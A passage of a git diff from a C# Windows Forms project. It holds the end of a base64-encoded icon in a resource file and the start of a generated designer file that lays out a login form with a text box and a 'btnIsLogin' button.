AP+drgD/nK0A/5qsAP+XqQD/lacA/5WnAP+WqAD/mKoA/5qrAP+aqwD/masA/5iqAP+WqAD/lacA/5Wn + AP+XqQD/mqsA/5ytAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52tAP+tvwD/mqsAhwAAAAAAAAAAAAAAAAAA + AACbrAA6prgA/5+wAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+ZqwD/lacA/5ipAP+jsxP/tMA+/8TOaf/T2o7/3uOq/+XpvP/p7cf/6u3J/+ns + xv/l6bv/3eOo/9LajP/Ezmj/tME+/6SzFf+ZqgD/lKcA/5epAP+crQD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/n7EA/6O0 + AP+cqwAwAAAAAAAAAAAAAAAAm60Ayai6AP+crQD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/nK0A/5aoAP+WqAD/qbcj/8fQcf/k6Lv/+Pnu//////////////////// + ///////////////////////////////////////////////////5+e//5+vC/83VgP+wvjf/m6wA/5Sn + AP+ZqwD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/5ytAP+puwD/mqwAvQAAAAAAAAAAna4APqa5AP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/l6kA/5ipAP+1wUT/3+Sv//z8+P////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////+zv0P/J0nj/prUd/5WnAP+YqgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/nq8A/6S2AP+csAA0AAAAAJ2uAKOqvAD/na0A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+arAD/lacA/7C+Of/j6Ln///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////r78//X3Zn/q7kq/5WnAP+ZqwD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5ytAP+rvQD/na4AlZmq + AA6brQDlorMA/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+XqQD/na4I/9La + jv////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////39 + +f/V3Jb/pbQc/5SnAP+brQD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/o7UA/5ysANmcrwBgm64A/Z6vAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+UpwD/q7ks/+zvz/////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////j57f/G0G//masA/5epAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/56vAP+drAD1m6wAt56vAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+UpgD/t8NJ//r68P////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////+bqwP+quSv/lKYA/5yt + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/m64A/ZytAPGdrgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+UpgD/vMhV//7+/f////////////////////////////// + ///////////////////////////////////z9eD/xM5t/77IXv/l6bz///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////+/vz/8HLYv+VpwD/mqwA/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5yt + AP+esAD/nK0A/5ytAP+crQD/nK0A/5ytAP+crQD/nK0A/5ytAP+TpgD/uMRM//39/f/9/f3//f39//39 + /f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/r7s7/nq4N/6W0Hv+frw3/kqUA/9DY + hf/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39 + /f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3/1NuT/5iqAf+XqQD/nK0A/5ytAP+crQD/nK0A/5yt + AP+crQD/nK0A/5ytAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+WqAD/rrww//v8 + 9v/////////////////////////////////////////////////////////////////8/Pj/p7Yc/8rT + ev///////////626Lv+QowD/4ue0//////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////k6Lf/n68O/5ep + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+ZqwD/n7AO//L03f////////////////////////////////////////////////////////////// + ////////2+Gj/5KlAP+7x1D/zNR7/8jRcP+jshH/lacA/627KP/9/fv///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////+vvy/+ishX/l6kA/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+crQD/lacA/93ipf////////////////////////////////////////////// + /////////////////////////////7rGTP+WqAD/l6kA/5WnAP+VpwD/nK0A/52uAP+XqQD/6OvC//// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////7vDR/6KyFv+ZqwD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/lacA/7vGTf////////////////////////////// + //////////////////////////////////////////////////+ruSX/mKoA/52uAP+drgD/na4A/52u + AP+drgD/lKYA/9TbkP////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////n68D/m6wD/5yt + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/m6wA/52uB//y9N3///////// + ///////////////////////////////////////////////////////////////////r7sv/obEP/5mr + AP+drgD/na4A/52uAP+drgD/nK0A/5OmAP+0wED/9vfl//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////9vjp/6CwBv+brQD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5Sn + AP/H0Gz///////////////////////////////////////////////////////////////////////// + ///L03f/k6UA/56uBf+brAD/l6kA/52uAP+drgD/mKoA/5usAP+ruSP/m6wC/52uDv/r7sz///////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////+/y1/+drQH/nK0A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/5usAP+hsQ//+Pnu//////////////////////////////////////////////////// + ///////////////////Y35z/i54A/8nSdf/09eH/6+7L/7nFTP+YqgD/masA/6m4Jf/o7MX//v38//Hz + 2/+ishn/o7IQ//39+/////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////p7MX/masA/5ytAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+arAD/orIU/+Xpu/////////////////////////////// + ////////////////////////////////////////z9aB/7nFTf//////////////////////rbss/5Wn + AP/u8NH/////////////////7O/M/83Vfv/+/vz///////////////////////////////////////// + ////////////////////////////////////////////////////////////////////////3+Sr/5ao + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5qrAP+WqAD/2d+c//// + //////////////////////////////////////////////////////////////////////////////// + ///+/v7/0dmJ/56vDv+XqQD/w81j//v89v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////9HYh/+VpwD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/masA/5usA//w8tj///////////////////////////////////////////////////////// + /////////////////////////v79/73IU/+XqQD/l6kA/6e2G//3+Ov///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////By17/lagA/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+TpgD/xc9p//////////////////////////////////// + ////////////////////////////////////////////////////////7/LX/+rtzP/7+/X///////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////sL0y/5ipAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/maoA/6q4Iv/9/fv///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////////////////////9/jq/6Gx + C/+brAD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5ut + AP+drgL/8fPc//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////+Xpu/+XqQD/nK0A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/l6kA/+Lntf///////////////////////////+/y1v/09uP///////// + //////////////v89f/f5LH/+vvz//////////////////////////////////////////////////z8 + 9//q7sz////////////////////////////q7cr/6OvD//////////////////////////////////// + ///////////////////////////////////N1X3/lKcA/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5SnAP/R2Yn///////////////////////// + //+1wT//lqgA/83Wf//o68L/6OvC/9DYhv+ishb/lKYA/+/y1/////////////////////////////// + ///////////////////t8NH/k6UA/7G+Ov/c4qX/6u3I/+Dlr/++yFj/jqEA/7nFSv////////////// + ////////////////////////////////////////////////////////tMA7/5epAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+WqAD/vchU//// + ////////////////////////8PPa/7rFUv+YqQD/lacA/5WnAP+XqQD/tMBD/+nsxP////////////// + /////////////////////////////////////////f77/9rgoP+ltB//lacA/5WnAP+UpwD/n7AP/8vT + e//4+e7/////////////////////////////////////////////////////////////////9fbl/5+v + CP+brAD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/masA/6i3Hf/9/fn/////////////////////////////////9fbm/+bqwv/m6sL/9Pbl//// + /////////////////////////////////////////////////////////////////////////////+3w + 1P/k6L7/6+7O//z89/////////////////////////////////////////////////////////////// + /////////////9vhof+VpwD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/5ytAP+aqwD/7O/P//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////7+/v+4xEj/lqgA/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/lKcA/9DYh/////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////9/vz/qrgj/5mqAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5ep + AP+xvjL///////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////////////////////////////////8TN + Zf+VpwD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+aqwD/l6kA/+vuzP////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////g5a7/lqgA/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+brAD/p7Ya/5mqAv/Ayln///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////9vfo/6CwCf+brAD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/lacA/9DXhP/Q2IT/k6YA//L0 + 3f////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////+yvzf/l6kA/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5ao + AP/i57T//v7+/5+vEP+6xUz///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////yNFw/5SnAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/5utAP+drgP/8PPa///////h5rH/kKMA/+Tot/////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////93jqP+WqAD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+ZqwD/qLcd//z9+f///////////7/KW/+drgv/+frw//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////v8dX/nK0B/5ytAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/l6kA/7XCQP////////////// + ///8/Pj/pbUe/7K/Pv////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ///////////////////////////////+////////////////////////////////////////+/z2/6a1 + GP+aqwD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5Wo + AP/CzGD///////////////////////L03P+ZqwT/v8pe//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////j57v/39ur///////////////////////// + //////////////////+zwDr/l6kA/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+VpwD/zNR6////////////////////////////7O/M/5mqBP+/yV7///////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////v79f/g5a//+/z2//// + ////////////////////////////////////////wMtc/5WoAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/lacA/9LZi/////////////////////////////// + ///v8dT/oLAV/7G+Pv/4+ev///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////39 + +//O1oD/8fPa/////////////////////////////////////////////////8zUe/+VpwD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5WnAP/U25D///////// + //////////////////////////////j56/+wvTz/na4Q/93jqv////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////n67/+7xlD/4OWu//////////////////////////////////////////////////// + ///W3JT/lacA/52uAP+drgD/na4A/52uAP+drgD/na4A/56wAP+crQD/nK0A/5ytAP+crQD/nK0A/5yt + AP+UpgD/z9eF//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39/8zUgP+bqwz/tsJM/+Xp + wP/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39/f/9/f3//f39//39 + /f/9/f3//f39//39/f/9/f3//f39/+Xpvv+otyb/0dmK//39/f/9/f3//f39//39/f/9/f3//f39//39 + /f/9/f3//f39//39/f/9/f3/2+Gl/5WnAP+crQD/nK0A/5ytAP+crQD/nK0A/52uAP+drADzna4A/52u + AP+drgD/na4A/52uAP+drgD/lacA/8XPaf////////////////////////////////////////////// + ////////09qK/5CjAP+YqgD/sr86/9Tbkf/v8db//v7+//////////////////////////////////// + ///////////////////////////////////5+vH/3+Su/7jETP+SpQD/xs9q//////////////////// + /////////////////////////////////////////////+Dlrv+XqQD/na4A/52uAP+drgD/na4A/52u + AP+crQD/nKsAu56vAP+drgD/na4A/52uAP+drgD/na4A/5iqAP+wvTD///////////////////////// + ////////////////////////1dyU/52uC/+brQD/nK0A/5epAP+VpwD/nK0B/6y6Kf+8yFT/zNR8/9nf + nv/k6Ln/6+7N//Hz2v/z9eH/8/Xh//Hz2v/q7sr/4OWv/9DYh/+7xlD/pbQY/5aoAP+WqAD/masA/6e2 + JP/q7cj////////////////////////////////////////////////////////////f5K3/lqgA/52u + AP+drgD/na4A/52uAP+drgD/m64A/ZyuAGSbrgD9nq8A/52uAP+drgD/na4A/52uAP+crQD/maoA/+jr + wv/////////////////////////////////29+b/vslb/5WnAP+arAD/na4A/52uAP+drgD/na4A/5ut + AP+YqgD/lqgA/5WnAP+VpwD/mKkA/5usAP+ergL/n7AG/5+wB/+ergL/mqsA/5epAP+VpwD/lqgA/5qr + AP+drgD/na4A/52uAP+YqgD/na4K/93jqP////////////////////////////////////////////// + ////////2eCe/5WnAP+drgD/na4A/52uAP+drgD/nq8A/52sAPWbqQASnK4A56KzAP+drgD/na4A/52u + AP+drgD/na4A/5iqAP+otiL/7fDS//////////////////X25v/Q2In/o7IW/5WnAP+crQD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5ytAP+crQD/m60A/5usAP+brAD/m60A/5yt + AP+crQD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5mrAP+WqQD/xs9v//v79P////////////// + /////////////////////////////83Vff+UpwD/na4A/52uAP+drgD/na4A/6O0AP+drQDbAAAAAJ2u + AKeqvAD/na0A/52uAP+drgD/na4A/52uAP+drgD/mKoA/56vBv+5xUr/wsxh/7fDRf+isg//lacA/5qr + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/nK0A/5Sn + AP+quCj/3+St//////////////////////////////////////+1wT7/l6kA/52uAP+drgD/na4A/5yt + AP+qvQD/nawAmwAAAACdsABEp7kA/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+brAD/lqgA/5Wn + AP+XqQD/mqwA/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/mKoA/5aoAP+zwD//3uOr//v79f/////////////////l6bz/masC/5yt + AP+drgD/na4A/52uAP+erwD/pbcA/5+xADgAAAAAAAAAAJqsAM+nuQD/nK0A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+crQD/l6kA/5aoAP+nth3/vslY/8zV + fP/Fz2n/oLAM/5qrAP+drgD/na4A/52uAP+crQD/qLoA/5ysAMMAAAAAAAAAAAAAAACarQBCp7kA/56v + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/masA/5aoAP+VpwD/lacA/5usAP+drgD/na4A/52uAP+drgD/n7AA/6S2AP+dqwA2AAAAAAAA + AAAAAAAAAAAAAJurAJ2svwD/nK0A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/nK0A/62/ + AP+bqwCPAAAAAAAAAAAAAAAAAAAAAAAAAACfvwAInbAAz6q8AP+crQD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/nK0A/6u9AP+crQDFf78ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJepABqfsgDfqbwA/5yt + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/nK0A/6q9AP+gsgDVmbIAFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAlacAHKGxAM2svwD/nq8A/5ytAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+crQD/n7AA/62/AP+hsgDFlqIAFgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACNqQAIoLEAm6e5AP+nuQD/na4A/52tAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/5ytAP+drgD/p7kA/6W3AP+gsgCTZpkABAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACerwBGobMAx6e5 + AP+puwD/obMA/56vAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/nq8A/6KzAP+qvAD/prgA/6C0 + AMOcsABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAACisQBIobEApaCxAOOerwD7nq8A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/nq8A/52w + APmgsADhoLMAn6OyAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAChuwASorQAZqCyALeerwDvnrAA/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52uAP+drgD/na4A/52u + AP+esAD/n7AA66CzALOitQBgqrsADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA/+AAAAAAA///gAAAAAAA//4AAAAAAAA//AAAAAAAAB/4AAAAAAAAD/AAAAAAAAAH4AAAAAAA + AAPgAAAAAAAAA8AAAAAAAAABwAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAA + AACAAAAAAAAAAMAAAAAAAAABwAAAAAAAAAHgAAAAAAAAA+AAAAAAAAAD8AAAAAAAAAf4AAAAAAAAD/wA + AAAAAAAf/gAAAAAAAD//gAAAAAAA///gAAAAAAP///wAAAAAH/8= + + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ToolForms/DouUserLoginForm.Designer.cs b/TEMUKJD/KJDForms/ToolForms/DouUserLoginForm.Designer.cs new file mode 100644 index 0000000..c904d7d --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/DouUserLoginForm.Designer.cs @@ -0,0 +1,124 @@ +namespace LittleRabbit.LittleRabbitForms.ToolForms +{ + partial class DouUserLoginForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(DouUserLoginForm)); + this.panel2 = new System.Windows.Forms.Panel(); + this.splitContainer1 = new System.Windows.Forms.SplitContainer(); + this.textBox1 = new System.Windows.Forms.TextBox(); + this.btnIsLogin = new LittleRabbit.UserControls.ButtonEx(); + this.panel2.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).BeginInit(); + this.splitContainer1.Panel1.SuspendLayout(); + this.splitContainer1.SuspendLayout(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.splitContainer1); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(1438, 866); + this.panel2.TabIndex = 1; + // + // splitContainer1 + // + this.splitContainer1.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer1.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.splitContainer1.Location = new System.Drawing.Point(0, 0); + this.splitContainer1.Name = "splitContainer1"; + this.splitContainer1.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitContainer1.Panel1 + // + this.splitContainer1.Panel1.Controls.Add(this.btnIsLogin); + this.splitContainer1.Panel1.Controls.Add(this.textBox1); + this.splitContainer1.Panel1.Padding = new System.Windows.Forms.Padding(4); + this.splitContainer1.Size = new System.Drawing.Size(1438, 866); + this.splitContainer1.SplitterDistance = 28; + this.splitContainer1.TabIndex = 0; + // + // textBox1 + // + this.textBox1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.textBox1.Location = new System.Drawing.Point(4, 4); + this.textBox1.Name = "textBox1"; + this.textBox1.Size = new System.Drawing.Size(1360, 23); + this.textBox1.TabIndex = 0; + // + // btnIsLogin + // + this.btnIsLogin.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnIsLogin.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnIsLogin.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnIsLogin.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnIsLogin.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnIsLogin.ForeColor = System.Drawing.Color.White; + this.btnIsLogin.Location = new System.Drawing.Point(1369, 3); + 